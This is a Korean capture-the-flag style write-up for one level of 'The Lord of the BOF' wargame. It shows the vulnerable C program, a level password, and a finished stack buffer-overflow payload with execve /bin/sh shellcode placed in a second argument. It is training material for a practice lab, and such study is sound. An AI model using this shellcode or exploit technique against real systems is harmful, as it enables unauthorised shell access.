SH1R0_HACKER
6. wolfman -> darkelf 본문
login : wolfman
password : love eyuna
[ darkelf.c ]
/*
The Lord of the BOF : The Fellowship of the BOF
- darkelf
- egghunter + buffer hunter + check length of argv[1]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
환경변수를 사용하지 못하고 buffer도 40byte를 0으로 초기화시켜버리고
argv[1]의 길이가 48byte를 초과하는지 확인하고 있다.
argv[2]에 대한 제약은 아무것도 없다.
두번째 인자를 활용해서 공격을 하면 될 것 같다.
우리에게 필요한 정보는 딱 한가지다.
argv[2]의 주소
ret에 브레이크 포인트를 걸고
argv[1]에 들어갈 A * 47개 + \xbf와 argv[2]에 들어갈 C * 30개를 날린다.
빨간색 부분이 RET
초록색 부분이 argv[1]
파란색 부분이 argv[2]
이제 페이로드를 작성해보자.
./wolfman `python -c 'print "\x90"*44+"[ argv[2] 주소 ]"'` `python -c 'print "\x90"*50 + "[ 쉘코드 (25byte) ]"'`
완성된 페이로드는 아래와 같다.
./darkelf `python -c 'print "\x90"*44+"\x51\xfc\xff\xbf"'` `python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
'System > The Lord of BOF' 카테고리의 다른 글
8. orge -> troll (0) | 2020.10.26 |
---|---|
7. darkelf -> orgc (0) | 2020.10.24 |
5. orc -> wolfman (0) | 2020.10.22 |
4. goblin -> orc (0) | 2020.10.22 |
3. cobolt -> goblin (0) | 2020.10.21 |